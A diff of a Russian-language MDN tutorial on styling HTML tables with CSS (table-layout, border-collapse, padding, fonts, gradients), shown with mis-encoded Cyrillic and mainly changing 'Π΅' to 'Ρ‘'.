ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ сколько Π² Π½ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΈΠ½ΠΎΠ³Π΄Π° ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ странным Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ. Когда <code>table-layout: fixed</code>, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²Π°ΡˆΠΈΡ… столбцов опрСдСляСтся ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈΡ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°.Β Π’ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π²Ρ‹ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ€Π°Π·Π½Ρ‹Ρ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСлСктора <code>thead th:nth-child(<em>n</em>)</code> ({{cssxref(":nth-child")}})Β ("Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ <em>n-Ρ‹ΠΉ</em>Β Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт {{htmlelement("th")}} Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{htmlelement("thead")}}") ΠΈ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΈΠΌ Π·Π°Π΄Π°Π½Π½ΡƒΡŽ Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ… ΡˆΠΈΡ€ΠΈΠ½Ρƒ. Π¨ΠΈΡ€ΠΈΠ½Π° ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚Β ΡˆΠΈΡ€ΠΈΠ½Π΅ Π΅Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, это ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. ΠšΡ€ΠΈΡ ΠšΠΎΠΉΠ΅Ρ€ (Chris Coyier) Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ рассматриваСт эту Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒΒ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a>.<br>
+ <li>Бвойство {{cssxref("table-layout")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>fixed</code>Β ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для вашСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, это Π΄Π΅Π»Π°Π΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹Β Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ прСдсказуСмым, Ρ‡Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ столбцы Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹Β ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ сколько Π² Π½ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΈΠ½ΠΎΠ³Π΄Π° ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ странным Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ. Когда <code>table-layout: fixed</code>, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²Π°ΡˆΠΈΡ… столбцов опрСдСляСтся ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈΡ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°.Β Π’ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π²Ρ‹ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ€Π°Π·Π½Ρ‹Ρ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСлСктора <code>thead th:nth-child(<em>n</em>)</code> ({{cssxref(":nth-child")}})Β ("Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ <em>n-Ρ‹ΠΉ</em>Β Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт {{htmlelement("th")}} Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{htmlelement("thead")}}") ΠΈ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΈΠΌ Π·Π°Π΄Π°Π½Π½ΡƒΡŽ Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ… ΡˆΠΈΡ€ΠΈΠ½Ρƒ. Π¨ΠΈΡ€ΠΈΠ½Π° ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚Β ΡˆΠΈΡ€ΠΈΠ½Π΅ Π΅Ρ‘ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, это ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. ΠšΡ€ΠΈΡ ΠšΠΎΠΉΠ΅Ρ€ (Chris Coyier) Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ рассматриваСт эту Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒΒ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a>.<br>
<br>
- ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ использовали {{cssxref("width")}}Β 100%, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ‚Π°Π±Π»ΠΈΡ†Π° Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ любой ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΉΒ (хотя для этого потрСбуСтся Π΅Ρ‰Π΅ нСкоторая Ρ€Π°Π±ΠΎΡ‚Π° для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎΒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ Π½Π° экранах Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ²).</li>
+ ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ использовали {{cssxref("width")}}Β 100%, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ‚Π°Π±Π»ΠΈΡ†Π° Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ любой ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΉΒ (хотя для этого потрСбуСтся Π΅Ρ‰Ρ‘ нСкоторая Ρ€Π°Π±ΠΎΡ‚Π° для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎΒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ Π½Π° экранах Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ²).</li>
<li>Бвойство {{cssxref("border-collapse")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>collapse</code> это стандартная ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° ΠΏΡ€ΠΈ стилизации любой Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π°Π΄Π°Π»ΠΈ Ρ€Π°ΠΌΠΊΠΈ для элСмСнтов таблицы, всС ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ собой, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° рисункС Π½ΠΈΠΆΠ΅: <img alt="" src="https://mdn.mozillademos.org/files/13068/no-border-collapse.png" style="display: block; margin: 0 auto;">Π­Ρ‚ΠΎ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ выглядит (хотя ΠΌΠΎΠΆΠ΅Ρ‚ это Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, ΠΊΡ‚ΠΎ Π·Π½Π°Π΅Ρ‚?). Если ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΒ <code>border-collapse: collapse;</code>Β  Ρ€Π°ΠΌΠΊΠΈ ΡΡ…Π»ΠΎΠΏΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Π°ΠΊ выглядит Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π»ΡƒΡ‡ΡˆΠ΅: <img alt="" src="https://mdn.mozillademos.org/files/13066/border-collapse.png" style="display: block; margin: 0 auto;"></li>
<li>ΠœΡ‹Β ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΠ»ΠΈ {{cssxref("border")}} Π²ΠΎΠΊΡ€ΡƒΠ³ всСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, это понадобится ΠΊΠΎΠ³Π΄Π° Ρ‡ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°ΠΌΠΊΠΈ Π²ΠΎΠΊΡ€ΡƒΠ³Β header ΠΈΒ footer Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ β€” ΠΊΠΎΠ³Π΄Π° ΠΏΠΎ ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€Ρƒ всСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π½Π΅Ρ‚ Ρ€Π°ΠΌΠΊΠΈ ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Π° заканчиваСтся просто отступом, таблица выглядит странно ΠΈ Ρ€Π°Π·Ρ€ΠΎΠ·Π½Π΅Π½Π½ΠΎ.</li>
- <li>ΠœΡ‹ установили {{cssxref("padding")}} Π½Π° элСмСнтах {{htmlelement("th")}} ΠΈΒ {{htmlelement("td")}}Β β€” это создаСт Π²Β Ρ‚Π°Π»ΠΈΡ†Π΅Β Π²ΠΎΠ·Π΄ΡƒΡ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π΅ΠΉΒ Π΄Ρ‹ΡˆΠ°Ρ‚ΡŒ, дСлая Π΅Π΅ Π±ΠΎΠ»Π΅Π΅ понятной.</li>
+ <li>ΠœΡ‹ установили {{cssxref("padding")}} Π½Π° элСмСнтах {{htmlelement("th")}} ΠΈΒ {{htmlelement("td")}}Β β€” это создаёт Π²Β Ρ‚Π°Π»ΠΈΡ†Π΅Β Π²ΠΎΠ·Π΄ΡƒΡ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π΅ΠΉΒ Π΄Ρ‹ΡˆΠ°Ρ‚ΡŒ, дСлая Π΅Ρ‘ Π±ΠΎΠ»Π΅Π΅ понятной.</li>
</ul>
<p>На этом этапС наша Ρ‚Π°Π±Π»ΠΈΡ†Π° выглядит ΡƒΠΆΠ΅ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π»ΡƒΡ‡ΡˆΠ΅:</p>
@@ -139,9 +139,9 @@ th, td {
<h3 id="НСмного_простой_Ρ‚ΠΈΠΏΠΎΠ³Ρ€Π°Ρ„ΠΈΠΊΠΈ">НСмного простой Ρ‚ΠΈΠΏΠΎΠ³Ρ€Π°Ρ„ΠΈΠΊΠΈ</h3>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π΅Ρ‰Π΅ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π΅Ρ‰Ρ‘ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ.</p>
-<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, ΠΌΡ‹ ΠΏΠΎΠΉΠ΄Π΅ΠΌ ΠΈ Π½Π°ΠΉΠ΄Π΅ΠΌ Π½Π°Β <a href="https://www.google.com/fonts">Google Fonts</a>Β ΡˆΡ€ΠΈΡ„Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Π² нашСй ситуации с Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ ΠΎ ΠΏΠ°Π½ΠΊ Π³Ρ€ΡƒΠΏΠΏΠ°Ρ…. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ для сСбя Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡˆΡ€ΠΈΡ„Ρ‚ Ссли захотят, Ρ‚ΠΎΠ³Π΄Π° Π²Π°ΠΌ понадобится Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ прСдставлСнный {{htmlelement("link")}} элСмСнт ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ объявлСниС {{cssxref("font-family")}} Π½Π° Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ Π²Π°ΠΌΠΈ Google Fonts ΡˆΡ€ΠΈΡ„Ρ‚.</p>
+<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, ΠΌΡ‹ ΠΏΠΎΠΉΠ΄Ρ‘ΠΌ ΠΈ Π½Π°ΠΉΠ΄Ρ‘ΠΌ Π½Π°Β <a href="https://www.google.com/fonts">Google Fonts</a>Β ΡˆΡ€ΠΈΡ„Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Π² нашСй ситуации с Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ ΠΎ ΠΏΠ°Π½ΠΊ Π³Ρ€ΡƒΠΏΠΏΠ°Ρ…. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ для сСбя Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡˆΡ€ΠΈΡ„Ρ‚ Ссли захотят, Ρ‚ΠΎΠ³Π΄Π° Π²Π°ΠΌ понадобится Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ прСдставлСнный {{htmlelement("link")}} элСмСнт ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ объявлСниС {{cssxref("font-family")}} Π½Π° Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ Π²Π°ΠΌΠΈ Google Fonts ΡˆΡ€ΠΈΡ„Ρ‚.</p>
<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ элСмСнт {{htmlelement("link")}} Π² Π±Π»ΠΎΠΊ head вашСго HTML, Π½Π° строчку Π²Ρ‹ΡˆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта <code>&lt;link&gt;</code>:</p>
@@ -190,7 +190,7 @@ tfoot th {
<h3 id="Π“Ρ€Π°Ρ„ΠΈΠΊΠ°_ΠΈ_Ρ†Π²Π΅Ρ‚Π°">Π“Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΈ Ρ†Π²Π΅Ρ‚Π°</h3>
-<p>И Π½Π°ΠΊΠΎΠ½Π΅Ρ†-Ρ‚ΠΎ Π³Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΈ Ρ†Π²Π΅Ρ‚Π°! Наша Ρ‚Π°Π±Π»ΠΈΡ†Π° Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π° Ρ‚Π΅ΠΌ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ ΠΊ ΠΏΠ°Π½ΠΊΠ°ΠΌ, поэтому Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠ΄Π°Ρ‚ΡŒ Π΅ΠΉ яркий Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»ΡΡŽΡ‰ΠΈΠΉ Π²ΠΈΠ΄. НС Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ, Π²Π°ΠΌ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ слишком ΠΊΡ€ΠΈΡ‡Π°Ρ‰Π΅ΠΉΒ β€” Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ ΡƒΡ‚ΠΎΠ½Ρ‡Π΅Π½Π½ΠΎΠ΅ ΠΈ со вкусом.</p>
+<p>И Π½Π°ΠΊΠΎΠ½Π΅Ρ†-Ρ‚ΠΎ Π³Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΈ Ρ†Π²Π΅Ρ‚Π°! Наша Ρ‚Π°Π±Π»ΠΈΡ†Π° Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π° Ρ‚Π΅ΠΌ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ ΠΊ ΠΏΠ°Π½ΠΊΠ°ΠΌ, поэтому Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠ΄Π°Ρ‚ΡŒ Π΅ΠΉ яркий Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»ΡΡŽΡ‰ΠΈΠΉ Π²ΠΈΠ΄. НС Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ, Π²Π°ΠΌ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ слишком ΠΊΡ€ΠΈΡ‡Π°Ρ‰Π΅ΠΉΒ β€” Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ ΡƒΡ‚ΠΎΠ½Ρ‡Ρ‘Π½Π½ΠΎΠ΅ ΠΈ со вкусом.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг это Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ CSS Π² ваш <code>style.css</code> Ρ„Π°ΠΉΠ» Π² самом Π½ΠΈΠ·Ρƒ:</p>
@@ -208,9 +208,9 @@ thead th, tfoot th, tfoot td {
<p>ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅ здСсь Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎ для Ρ‚Π°Π±Π»ΠΈΡ†, Π½ΠΎ стоит ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ нСсколько Π²Π΅Ρ‰Π΅ΠΉ.</p>
-<p>ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ {{cssxref("background-image")}} Π² {{htmlelement("thead")}},Β {{htmlelement("tfoot")}} ΠΈΒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ {{cssxref("color")}} для всСго тСкста Π²Π½ΡƒΡ‚Ρ€ΠΈΒ header ΠΈΒ footer Π½Π° Π±Π΅Π»Ρ‹ΠΉ (ΠΈ Π΅Ρ‰Π΅Β {{cssxref("text-shadow")}}) для Π»ΡƒΡ‡ΡˆΠ΅ΠΉ читаСмости. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ всСгда Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹ Ρ‡Ρ‚ΠΎ ваш тСкст Ρ…ΠΎΡ€ΠΎΡˆΠΎ контрастируСт с Ρ„ΠΎΠ½ΠΎΠΌ, для обСспСчСния читаСмости.</p>
+<p>ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ {{cssxref("background-image")}} Π² {{htmlelement("thead")}},Β {{htmlelement("tfoot")}} ΠΈΒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ {{cssxref("color")}} для всСго тСкста Π²Π½ΡƒΡ‚Ρ€ΠΈΒ header ΠΈΒ footer Π½Π° Π±Π΅Π»Ρ‹ΠΉ (ΠΈ Π΅Ρ‰Ρ‘Β {{cssxref("text-shadow")}}) для Π»ΡƒΡ‡ΡˆΠ΅ΠΉ читаСмости. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ всСгда Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹ Ρ‡Ρ‚ΠΎ ваш тСкст Ρ…ΠΎΡ€ΠΎΡˆΠΎ контрастируСт с Ρ„ΠΎΠ½ΠΎΠΌ, для обСспСчСния читаСмости.</p>
-<p>Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ для {{htmlelement("th")}} ΠΈΒ {{htmlelement("td")}} элСмСнтов Π²Π½ΡƒΡ‚Ρ€ΠΈΒ header ΠΈΒ footer для придания Π»Π΅Π³ΠΊΠΎΠΉ приятной тСкстуры, Π° Ρ‚Π°ΠΊΠΆΠ΅ установили этим элСмСнтам яркиС ΠΏΡƒΡ€ΠΏΡƒΡ€Π½Ρ‹Π΅ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. ПолСзно ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… элСмСнтов, это позволяСт Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ нСсколько стилСй Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°. Π”Π°, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΈ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΈΒ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π½Π°Β {{htmlelement("thead")}} ΠΈ {{htmlelement("tfoot")}} элСмСнты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ мноТСствСнныС фоновыС изобраТСния, Π½ΠΎ ΠΌΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ для старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">нСсколько Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</a> ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient">Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹</a>.</p>
